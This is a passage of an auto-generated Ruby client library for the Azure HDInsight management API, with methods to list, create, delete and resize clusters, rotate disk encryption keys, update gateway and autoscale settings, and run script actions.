[String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param parameters [AutoscaleConfigurationUpdateParameter] The parameters for # the update autoscale configuration operation. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # def update_auto_scale_configuration(resource_group_name, cluster_name, parameters, custom_headers:nil) response = update_auto_scale_configuration_async(resource_group_name, cluster_name, parameters, custom_headers:custom_headers).value! nil end # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param parameters [AutoscaleConfigurationUpdateParameter] The parameters for # the update autoscale configuration operation. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [Concurrent::Promise] promise which provides async access to http # response. # def update_auto_scale_configuration_async(resource_group_name, cluster_name, parameters, custom_headers:nil) # Send request promise = begin_update_auto_scale_configuration_async(resource_group_name, cluster_name, parameters, custom_headers:custom_headers) promise = promise.then do |response| # Defining deserialization method. deserialize_method = lambda do |parsed_response| end # Waiting for response. @client.get_long_running_operation_result(response, deserialize_method) end promise end # # Lists all the HDInsight clusters under the subscription. # # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [Array<Cluster>] operation results. # def list(custom_headers:nil) first_page = list_as_lazy(custom_headers:custom_headers) first_page.get_all_items end # # Lists all the HDInsight clusters under the subscription. # # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [MsRestAzure::AzureOperationResponse] HTTP response information. # def list_with_http_info(custom_headers:nil) list_async(custom_headers:custom_headers).value! end # # Lists all the HDInsight clusters under the subscription. # # @param [Hash{String => String}] A hash of custom headers that will be added # to the HTTP request. # # @return [Concurrent::Promise] Promise object which holds the HTTP response. # def list_async(custom_headers:nil) fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil? fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil? request_headers = {} request_headers['Content-Type'] = 'application/json; charset=utf-8' # Set Headers request_headers['x-ms-client-request-id'] = SecureRandom.uuid request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil? path_template = 'subscriptions/{subscriptionId}/providers/Microsoft.HDInsight/clusters' request_url = @base_url || @client.base_url options = { middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]], path_params: {'subscriptionId' => @client.subscription_id}, query_params: {'api-version' => @client.api_version}, headers: request_headers.merge(custom_headers || {}), base_url: request_url } promise = @client.make_request_async(:get, path_template, options) promise = promise.then do |result| http_response = result.response status_code = http_response.status response_content = http_response.body unless status_code == 200 error_model = JSON.load(response_content) fail MsRest::HttpOperationError.new(result.request, http_response, error_model) end result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil? result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil? result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil? # Deserialize Response if status_code == 200 begin parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content) result_mapper = Azure::Hdinsight::Mgmt::V2018_06_01_preview::Models::ClusterListResult.mapper() result.body = @client.deserialize(result_mapper, parsed_response) rescue Exception => e fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result) end end result end promise.execute end # # Rotate disk encryption key of the specified HDInsight cluster. # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param parameters [ClusterDiskEncryptionParameters] The parameters for the # disk encryption operation. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # def rotate_disk_encryption_key(resource_group_name, cluster_name, parameters, custom_headers:nil) response = rotate_disk_encryption_key_async(resource_group_name, cluster_name, parameters, custom_headers:custom_headers).value! nil end # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param parameters [ClusterDiskEncryptionParameters] The parameters for the # disk encryption operation. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [Concurrent::Promise] promise which provides async access to http # response. # def rotate_disk_encryption_key_async(resource_group_name, cluster_name, parameters, custom_headers:nil) # Send request promise = begin_rotate_disk_encryption_key_async(resource_group_name, cluster_name, parameters, custom_headers:custom_headers) promise = promise.then do |response| # Defining deserialization method. deserialize_method = lambda do |parsed_response| end # Waiting for response. @client.get_long_running_operation_result(response, deserialize_method) end promise end # # Gets the gateway settings for the specified cluster. # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [GatewaySettings] operation results. # def get_gateway_settings(resource_group_name, cluster_name, custom_headers:nil) response = get_gateway_settings_async(resource_group_name, cluster_name, custom_headers:custom_headers).value! response.body unless response.nil? end # # Gets the gateway settings for the specified cluster. # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [MsRestAzure::AzureOperationResponse] HTTP response information. # def get_gateway_settings_with_http_info(resource_group_name, cluster_name, custom_headers:nil) get_gateway_settings_async(resource_group_name, cluster_name, custom_headers:custom_headers).value! end # # Gets the gateway settings for the specified cluster. # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param [Hash{String => String}] A hash of custom headers that will be added # to the HTTP request. # # @return [Concurrent::Promise] Promise object which holds the HTTP response. # def get_gateway_settings_async(resource_group_name, cluster_name, custom_headers:nil) fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil? fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil? fail ArgumentError, 'cluster_name is nil' if cluster_name.nil? fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil? request_headers = {} request_headers['Content-Type'] = 'application/json; charset=utf-8' # Set Headers request_headers['x-ms-client-request-id'] = SecureRandom.uuid request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil? path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.HDInsight/clusters/{clusterName}/getGatewaySettings' request_url = @base_url || @client.base_url options = { middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]], path_params: {'subscriptionId' => @client.subscription_id,'resourceGroupName' => resource_group_name,'clusterName' => cluster_name}, query_params: {'api-version' => @client.api_version}, headers: request_headers.merge(custom_headers || {}), base_url: request_url } promise = @client.make_request_async(:post, path_template, options) promise = promise.then do |result| http_response = result.response status_code = http_response.status response_content = http_response.body unless status_code == 200 error_model = JSON.load(response_content) fail MsRest::HttpOperationError.new(result.request, http_response, error_model) end result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil? result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil? result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil? # Deserialize Response if status_code == 200 begin parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content) result_mapper = Azure::Hdinsight::Mgmt::V2018_06_01_preview::Models::GatewaySettings.mapper() result.body = @client.deserialize(result_mapper, parsed_response) rescue Exception => e fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result) end end result end promise.execute end # # Configures the gateway settings on the specified cluster. # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param parameters [UpdateGatewaySettingsParameters] The cluster # configurations. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # def update_gateway_settings(resource_group_name, cluster_name, parameters, custom_headers:nil) response = update_gateway_settings_async(resource_group_name, cluster_name, parameters, custom_headers:custom_headers).value! nil end # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param parameters [UpdateGatewaySettingsParameters] The cluster # configurations. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [Concurrent::Promise] promise which provides async access to http # response. # def update_gateway_settings_async(resource_group_name, cluster_name, parameters, custom_headers:nil) # Send request promise = begin_update_gateway_settings_async(resource_group_name, cluster_name, parameters, custom_headers:custom_headers) promise = promise.then do |response| # Defining deserialization method. deserialize_method = lambda do |parsed_response| end # Waiting for response. @client.get_long_running_operation_result(response, deserialize_method) end promise end # # Executes script actions on the specified HDInsight cluster. # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param parameters [ExecuteScriptActionParameters] The parameters for # executing script actions. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # def execute_script_actions(resource_group_name, cluster_name, parameters, custom_headers:nil) response = execute_script_actions_async(resource_group_name, cluster_name, parameters, custom_headers:custom_headers).value! nil end # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param parameters [ExecuteScriptActionParameters] The parameters for # executing script actions. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [Concurrent::Promise] promise which provides async access to http # response. # def execute_script_actions_async(resource_group_name, cluster_name, parameters, custom_headers:nil) # Send request promise = begin_execute_script_actions_async(resource_group_name, cluster_name, parameters, custom_headers:custom_headers) promise = promise.then do |response| # Defining deserialization method. deserialize_method = lambda do |parsed_response| end # Waiting for response. @client.get_long_running_operation_result(response, deserialize_method) end promise end # # Creates a new HDInsight cluster with the specified parameters. # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param parameters [ClusterCreateParametersExtended] The cluster create # request. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [Cluster] operation results. # def begin_create(resource_group_name, cluster_name, parameters, custom_headers:nil) response = begin_create_async(resource_group_name, cluster_name, parameters, custom_headers:custom_headers).value! response.body unless response.nil? end # # Creates a new HDInsight cluster with the specified parameters. # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param parameters [ClusterCreateParametersExtended] The cluster create # request. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [MsRestAzure::AzureOperationResponse] HTTP response information. # def begin_create_with_http_info(resource_group_name, cluster_name, parameters, custom_headers:nil) begin_create_async(resource_group_name, cluster_name, parameters, custom_headers:custom_headers).value! end # # Creates a new HDInsight cluster with the specified parameters. # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param parameters [ClusterCreateParametersExtended] The cluster create # request. # @param [Hash{String => String}] A hash of custom headers that will be added # to the HTTP request. # # @return [Concurrent::Promise] Promise object which holds the HTTP response. # def begin_create_async(resource_group_name, cluster_name, parameters, custom_headers:nil) fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil? fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil? fail ArgumentError, 'cluster_name is nil' if cluster_name.nil? fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil? fail ArgumentError, 'parameters is nil' if parameters.nil? request_headers = {} request_headers['Content-Type'] = 'application/json; charset=utf-8' # Set Headers request_headers['x-ms-client-request-id'] = SecureRandom.uuid request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil? # Serialize Request request_mapper = Azure::Hdinsight::Mgmt::V2018_06_01_preview::Models::ClusterCreateParametersExtended.mapper() request_content = @client.serialize(request_mapper, parameters) request_content = request_content != nil ? JSON.generate(request_content, quirks_mode: true) : nil path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.HDInsight/clusters/{clusterName}' request_url = @base_url || @client.base_url options = { middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]], path_params: {'subscriptionId' => @client.subscription_id,'resourceGroupName' => resource_group_name,'clusterName' => cluster_name}, query_params: {'api-version' => @client.api_version}, body: request_content, headers: request_headers.merge(custom_headers || {}), base_url: request_url } promise = @client.make_request_async(:put, path_template, options) promise = promise.then do |result| http_response = result.response status_code = http_response.status response_content = http_response.body unless status_code == 200 error_model = JSON.load(response_content) fail MsRest::HttpOperationError.new(result.request, http_response, error_model) end result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil? result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil? result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil? # Deserialize Response if status_code == 200 begin parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content) result_mapper = Azure::Hdinsight::Mgmt::V2018_06_01_preview::Models::Cluster.mapper() result.body = @client.deserialize(result_mapper, parsed_response) rescue Exception => e fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result) end end result end promise.execute end # # Deletes the specified HDInsight cluster. # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # def begin_delete(resource_group_name, cluster_name, custom_headers:nil) response = begin_delete_async(resource_group_name, cluster_name, custom_headers:custom_headers).value! nil end # # Deletes the specified HDInsight cluster. # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [MsRestAzure::AzureOperationResponse] HTTP response information. # def begin_delete_with_http_info(resource_group_name, cluster_name, custom_headers:nil) begin_delete_async(resource_group_name, cluster_name, custom_headers:custom_headers).value! end # # Deletes the specified HDInsight cluster. # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param [Hash{String => String}] A hash of custom headers that will be added # to the HTTP request. # # @return [Concurrent::Promise] Promise object which holds the HTTP response. # def begin_delete_async(resource_group_name, cluster_name, custom_headers:nil) fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil? fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil? fail ArgumentError, 'cluster_name is nil' if cluster_name.nil? fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil? request_headers = {} request_headers['Content-Type'] = 'application/json; charset=utf-8' # Set Headers request_headers['x-ms-client-request-id'] = SecureRandom.uuid request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil? path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.HDInsight/clusters/{clusterName}' request_url = @base_url || @client.base_url options = { middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]], path_params: {'subscriptionId' => @client.subscription_id,'resourceGroupName' => resource_group_name,'clusterName' => cluster_name}, query_params: {'api-version' => @client.api_version}, headers: request_headers.merge(custom_headers || {}), base_url: request_url } promise = @client.make_request_async(:delete, path_template, options) promise = promise.then do |result| http_response = result.response status_code = http_response.status response_content = http_response.body unless status_code == 202 || status_code == 200 error_model = JSON.load(response_content) fail MsRest::HttpOperationError.new(result.request, http_response, error_model) end result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil? result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil? result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil? result end promise.execute end # # Resizes the specified HDInsight cluster to the specified size. # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param parameters [ClusterResizeParameters] The parameters for the resize # operation. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # def begin_resize(resource_group_name, cluster_name, parameters, custom_headers:nil) response = begin_resize_async(resource_group_name, cluster_name, parameters, custom_headers:custom_headers).value! nil end # # Resizes the specified HDInsight cluster to the specified size. # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param parameters [ClusterResizeParameters] The parameters for the resize # operation. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [MsRestAzure::AzureOperationResponse] HTTP response information. # def begin_resize_with_http_info(resource_group_name, cluster_name, parameters, custom_headers:nil) begin_resize_async(resource_group_name, cluster_name, parameters, custom_headers:custom_headers).value! end # # Resizes the specified HDInsight cluster to the specified size. # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param parameters [ClusterResizeParameters] The parameters for the resize # operation. # @param [Hash{String => String}] A hash of custom headers that will be added # to the HTTP request. # # @return [Concurrent::Promise] Promise object which holds the HTTP response. # def begin_resize_async(resource_group_name, cluster_name, parameters, custom_headers:nil) fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil? fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil? fail ArgumentError, 'cluster_name is nil' if cluster_name.nil? role_name = 'workernode' fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil? fail ArgumentError, 'parameters is nil' if parameters.nil? request_headers = {} request_headers['Content-Type'] = 'application/json; charset=utf-8' # Set Headers request_headers['x-ms-client-request-id'] = SecureRandom.uuid request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil? # Serialize Request request_mapper = Azure::Hdinsight::Mgmt::V2018_06_01_preview::Models::ClusterResizeParameters.mapper() request_content = @client.serialize(request_mapper, parameters) request_content = request_content != nil ? JSON.generate(request_content, quirks_mode: true) : nil path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.HDInsight/clusters/{clusterName}/roles/{roleName}/resize' request_url = @base_url || @client.base_url options = { middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]], path_params: {'subscriptionId' => @client.subscription_id,'resourceGroupName' => resource_group_name,'clusterName' => cluster_name,'roleName' => role_name}, query_params: {'api-version' => @client.api_version}, body: request_content, headers: request_headers.merge(custom_headers || {}), base_url: request_url } promise = @client.make_request_async(:post, path_template, options) promise = promise.then do |result| http_response = result.response status_code = http_response.status response_content = http_response.body unless status_code == 200 || status_code == 202 error_model = JSON.load(response_content) fail MsRest::HttpOperationError.new(result.request, http_response, error_model) end result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil? result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil? result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil? result end promise.execute end # # Updates the Autoscale Configuration for HDInsight cluster. # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param parameters [AutoscaleConfigurationUpdateParameter] The parameters for # the update autoscale configuration operation. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # def begin_update_auto_scale_configuration(resource_group_name, cluster_name, parameters, custom_headers:nil) response = begin_update_auto_scale_configuration_async(resource_group_name, cluster_name, parameters, custom_headers:custom_headers).value! nil end # # Updates the Autoscale Configuration for HDInsight cluster. # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param parameters [AutoscaleConfigurationUpdateParameter] The parameters for # the update autoscale configuration operation. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [MsRestAzure::AzureOperationResponse] HTTP response information. # def begin_update_auto_scale_configuration_with_http_info(resource_group_name, cluster_name, parameters, custom_headers:nil) begin_update_auto_scale_configuration_async(resource_group_name, cluster_name, parameters, custom_headers:custom_headers).value! end # # Updates the Autoscale Configuration for HDInsight cluster. # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param parameters [AutoscaleConfigurationUpdateParameter] The parameters for # the update autoscale configuration operation. # @param [Hash{String => String}] A hash of custom headers that will be added # to the HTTP request. # # @return [Concurrent::Promise] Promise object which holds the HTTP response. # def begin_update_auto_scale_configuration_async(resource_group_name, cluster_name, parameters, custom_headers:nil) fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil? fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil? fail ArgumentError, 'cluster_name is nil' if cluster_name.nil? role_name = 'workernode' fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil? fail ArgumentError, 'parameters is nil' if parameters.nil? request_headers = {} request_headers['Content-Type'] = 'application/json; charset=utf-8' # Set Headers request_headers['x-ms-client-request-id'] = SecureRandom.uuid request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil? # Serialize Request request_mapper = Azure::Hdinsight::Mgmt::V2018_06_01_preview::Models::AutoscaleConfigurationUpdateParameter.mapper() request_content = @client.serialize(request_mapper, parameters) request_content = request_content != nil ? JSON.generate(request_content, quirks_mode: true) : nil path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.HDInsight/clusters/{clusterName}/roles/{roleName}/autoscale' request_url = @base_url || @client.base_url options = { middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]], path_params: {'subscriptionId' => @client.subscription_id,'resourceGroupName' => resource_group_name,'clusterName' => cluster_name,'roleName' => role_name}, query_params: {'api-version' => @client.api_version}, body: request_content, headers: request_headers.merge(custom_headers || {}), base_url: request_url } promise = @client.make_request_async(:post, path_template, options) promise = promise.then do |result| http_response = result.response status_code = http_response.status response_content = http_response.body unless status_code == 200 || status_code == 202 error_model = JSON.load(response_content) fail MsRest::HttpOperationError.new(result.request, http_response, error_model) end result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil? result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil? result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil? result end promise.execute end # # Rotate disk encryption key of the specified HDInsight cluster. # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param parameters [ClusterDiskEncryptionParameters] The parameters for the # disk encryption operation. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # def begin_rotate_disk_encryption_key(resource_group_name, cluster_name, parameters, custom_headers:nil) response = begin_rotate_disk_encryption_key_async(resource_group_name, cluster_name, parameters, custom_headers:custom_headers).value! nil end # # Rotate disk encryption key of the specified HDInsight cluster. # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param parameters [ClusterDiskEncryptionParameters] The parameters for the # disk encryption operation. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [MsRestAzure::AzureOperationResponse] HTTP response information. # def begin_rotate_disk_encryption_key_with_http_info(resource_group_name, cluster_name, parameters, custom_headers:nil) begin_rotate_disk_encryption_key_async(resource_group_name, cluster_name, parameters, custom_headers:custom_headers).value! end # # Rotate disk encryption key of the specified HDInsight cluster. # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param parameters [ClusterDiskEncryptionParameters] The parameters for the # disk encryption operation. # @param [Hash{String => String}] A hash of custom headers that will be added # to the HTTP request. # # @return [Concurrent::Promise] Promise object which holds the HTTP response. # def begin_rotate_disk_encryption_key_async(resource_group_name, cluster_name, parameters, custom_headers:nil) fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil? fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil? fail ArgumentError, 'cluster_name is nil' if cluster_name.nil? fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil? fail ArgumentError, 'parameters is nil' if parameters.nil? request_headers = {} request_headers['Content-Type'] = 'application/json; charset=utf-8' # Set Headers request_headers['x-ms-client-request-id'] = SecureRandom.uuid request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil? # Serialize Request request_mapper = Azure::Hdinsight::Mgmt::V2018_06_01_preview::Models::ClusterDiskEncryptionParameters.mapper() request_content = @client.serialize(request_mapper, parameters) request_content = request_content != nil ? JSON.generate(request_content, quirks_mode: true) : nil path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.HDInsight/clusters/{clusterName}/rotatediskencryptionkey' request_url = @base_url || @client.base_url options = { middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]], path_params: {'subscriptionId' => @client.subscription_id,'resourceGroupName' => resource_group_name,'clusterName' => cluster_name}, query_params: {'api-version' => @client.api_version}, body: request_content, headers: request_headers.merge(custom_headers || {}), base_url: request_url } promise = @client.make_request_async(:post, path_template, options) promise = promise.then do |result| http_response = result.response status_code = http_response.status response_content = http_response.body unless status_code == 200 || status_code == 202 error_model = JSON.load(response_content) fail MsRest::HttpOperationError.new(result.request, http_response, error_model) end result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil? result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil? result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil? result end promise.execute end # # Configures the gateway settings on the specified cluster. # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param parameters [UpdateGatewaySettingsParameters] The cluster # configurations. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # def begin_update_gateway_settings(resource_group_name, cluster_name, parameters, custom_headers:nil) response = begin_update_gateway_settings_async(resource_group_name, cluster_name, parameters, custom_headers:custom_headers).value! nil end # # Configures the gateway settings on the specified cluster. # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param parameters [UpdateGatewaySettingsParameters] The cluster # configurations. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [MsRestAzure::AzureOperationResponse] HTTP response information. # def begin_update_gateway_settings_with_http_info(resource_group_name, cluster_name, parameters, custom_headers:nil) begin_update_gateway_settings_async(resource_group_name, cluster_name, parameters, custom_headers:custom_headers).value! end # # Configures the gateway settings on the specified cluster. # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param parameters [UpdateGatewaySettingsParameters] The cluster # configurations. # @param [Hash{String => String}] A hash of custom headers that will be added # to the HTTP request. # # @return [Concurrent::Promise] Promise object which holds the HTTP response. # def begin_update_gateway_settings_async(resource_group_name, cluster_name, parameters, custom_headers:nil) fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil? fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil? fail ArgumentError, 'cluster_name is nil' if cluster_name.nil? fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil? fail ArgumentError, 'parameters is nil' if parameters.nil? request_headers = {} request_headers['Content-Type'] = 'application/json; charset=utf-8' # Set Headers request_headers['x-ms-client-request-id'] = SecureRandom.uuid request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil? # Serialize Request request_mapper = Azure::Hdinsight::Mgmt::V2018_06_01_preview::Models::UpdateGatewaySettingsParameters.mapper() request_content = @client.serialize(request_mapper, parameters) request_content = request_content != nil ? JSON.generate(request_content, quirks_mode: true) : nil path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.HDInsight/clusters/{clusterName}/updateGatewaySettings' request_url = @base_url || @client.base_url options = { middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]], path_params: {'subscriptionId' => @client.subscription_id,'resourceGroupName' => resource_group_name,'clusterName' => cluster_name}, query_params: {'api-version' => @client.api_version}, body: request_content, headers: request_headers.merge(custom_headers || {}), base_url: request_url } promise = @client.make_request_async(:post, path_template, options) promise = promise.then do |result| http_response = result.response status_code = http_response.status response_content = http_response.body unless status_code == 200 || status_code == 202 error_model = JSON.load(response_content) fail MsRest::HttpOperationError.new(result.request, http_response, error_model) end result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil? result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil? result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil? result end promise.execute end # # Executes script actions on the specified HDInsight cluster. # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param parameters [ExecuteScriptActionParameters] The parameters for # executing script actions. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # def begin_execute_script_actions(resource_group_name, cluster_name, parameters, custom_headers:nil) response = begin_execute_script_actions_async(resource_group_name, cluster_name, parameters, custom_headers:custom_headers).value! nil end # # Executes script actions on the specified HDInsight cluster. # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param parameters [ExecuteScriptActionParameters] The parameters for # executing script actions. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [MsRestAzure::AzureOperationResponse] HTTP response information. # def begin_execute_script_actions_with_http_info(resource_group_name, cluster_name, parameters, custom_headers:nil) begin_execute_script_actions_async(resource_group_name, cluster_name, parameters, custom_headers:custom_headers).value! end # # Executes script actions on the specified HDInsight cluster. # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param parameters [ExecuteScriptActionParameters] The parameters for # executing script actions. # @param [Hash{String => String}] A hash of custom headers that will be added # to the HTTP request. # # @return [Concurrent::Promise] Promise object which holds the HTTP response. # def begin_execute_script_actions_async(resource_group_name, cluster_name, parameters, custom_headers:nil) fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil? fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil? fail ArgumentError, 'cluster_name is nil' if cluster_name.nil? fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil? fail ArgumentError, 'parameters is nil' if parameters.nil? request_headers = {} request_headers['Content-Type'] = 'application/json; charset=utf-8' # Set Headers request_headers['x-ms-client-request-id'] = SecureRandom.uuid request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil? # Serialize Request request_mapper = Azure::Hdinsight::Mgmt::V2018_06_01_preview::Models::ExecuteScriptActionParameters.mapper() request_content = @client.serialize(request_mapper, parameters) request_content = request_content != nil ? 